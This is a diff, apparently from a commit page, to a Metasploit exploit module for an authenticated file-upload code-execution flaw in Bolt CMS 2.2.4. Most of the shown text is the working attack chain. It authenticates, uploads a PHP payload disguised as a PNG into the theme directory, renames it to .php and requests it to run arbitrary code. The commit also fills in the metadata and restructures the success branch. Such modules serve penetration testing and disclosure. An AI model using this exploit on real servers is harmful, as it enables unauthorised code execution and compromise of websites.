@@ -14,19 +14,21 @@ class Metasploit3 < Msf::Exploit::Remote
14
14
def initialize ( info = { } )
15
15
super ( update_info (
16
16
info ,
17
- 'Name' => 'Bolt File Upload' ,
17
+ 'Name' => 'CMS Bolt File Upload Vulnerability ' ,
18
18
'Description' => %q{
19
- To do.
19
+ Bolt CMS contains a flaw that allows a authenticated remote
20
+ attacker to execute arbitrary PHP code. This module was
21
+ tested on version 2.2.4.
20
22
} ,
21
23
'License' => MSF_LICENSE ,
22
24
'Author' =>
23
25
[
24
- 'To do ' , # Vulnerability Disclosure
26
+ 'Tim Coen ' , # Vulnerability Disclosure
25
27
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
26
28
] ,
27
29
'References' =>
28
30
[
29
- [ 'URL' , 'http://todo. com' ]
31
+ [ 'URL' , 'http://blog.curesec. com/article/blog/Bolt-224-Code-Execution-44.html ' ]
30
32
] ,
31
33
'DisclosureDate' => 'Aug 17 2015' ,
32
34
'Platform' => 'php' ,
@@ -133,24 +135,24 @@ def exploit
133
135
print_error ( "#{ peer } - Failed to authenticate with Bolt" )
134
136
return
135
137
end
136
- vprint_good ( "#{ peer } - Authenticated with Bolt" )
138
+ vprint_good ( "#{ peer } - Authenticated with Bolt. " )
137
139
138
140
token = get_token ( cookie )
139
141
if nonce . nil?
140
- print_error ( "#{ peer } - No nonce " )
142
+ print_error ( "#{ peer } - No token found. " )
141
143
return
142
144
end
143
- vprint_good ( "#{ peer } - Token #{ token } found." )
145
+ vprint_good ( "#{ peer } - Token \" #{ token } \" found." )
144
146
145
- vprint_status ( "#{ peer } - Preparing payload..." )
147
+ vprint_status ( "#{ peer } - Preparing payload..." )
146
148
payload_name = Rex ::Text . rand_text_alpha_lower ( 10 )
147
149
148
150
data = Rex ::MIME ::Message . new
149
151
data . add_part ( payload . encoded , 'image/png' , nil , "form-data; name=\" form[FileUpload][]\" ; filename=\" #{ payload_name } .png\" " )
150
152
data . add_part ( "#{ token } " , nil , nil , 'form-data; name="form[_token]"' )
151
153
post_data = data . to_s
152
154
153
- print_status ( "#{ peer } - Uploading payload..." )
155
+ vprint_status ( "#{ peer } - Uploading payload..." )
154
156
res = send_request_cgi (
155
157
'method' => 'POST' ,
156
158
'uri' => normalize_uri ( target_uri , 'bolt' , 'bolt' , 'files' , 'theme' , 'base-2014' ) ,
@@ -161,28 +163,31 @@ def exploit
161
163
162
164
unless res
163
165
print_error ( "#{ peer } - No response from the target" )
166
+ return
164
167
end
165
168
166
169
if res . code == 304
167
- print_good ( "#{ peer } - Uploaded the payload" )
168
- end
169
-
170
- rename = rename_payload ( cookie , payload_name )
171
- if rename . nil?
172
- vprint_error ( "#{ peer } - No renamed filename" )
173
- return
170
+ vprint_good ( "#{ peer } - Uploaded the payload" )
171
+
172
+ rename = rename_payload ( cookie , payload_name )
173
+ if rename . nil?
174
+ vprint_error ( "#{ peer } - No renamed filename" )
175
+ return
176
+ end
177
+
178
+ php_file_name = "#{ payload_name } .php"
179
+ payload_url = normalize_uri ( target_uri . path , 'bolt' , 'theme' , 'base-2014' , php_file_name )
180
+ vprint_good ( "#{ peer } - Parsed response" )
181
+
182
+ register_files_for_cleanup ( php_file_name )
183
+ vprint_status ( "#{ peer } - Executing the payload at #{ payload_url } " )
184
+ send_request_cgi (
185
+ 'uri' => payload_url ,
186
+ 'method' => 'GET'
187
+ )
188
+ vprint_good ( "#{ peer } - Executed payload" )
189
+ else
190
+ print_error ( "#{ peer } - To do" )
174
191
end
175
-
176
- php_file_name = "#{ payload_name } .php"
177
- payload_url = normalize_uri ( target_uri . path , 'bolt' , 'theme' , 'base-2014' , php_file_name )
178
- vprint_good ( "#{ peer } - Parsed response" )
179
-
180
- register_files_for_cleanup ( php_file_name )
181
- vprint_status ( "#{ peer } - Executing the payload at #{ payload_url } " )
182
- send_request_cgi (
183
- 'uri' => payload_url ,
184
- 'method' => 'GET'
185
- )
186
- vprint_good ( "#{ peer } - Executed payload" )
187
192
end
188
193
end
0 commit comments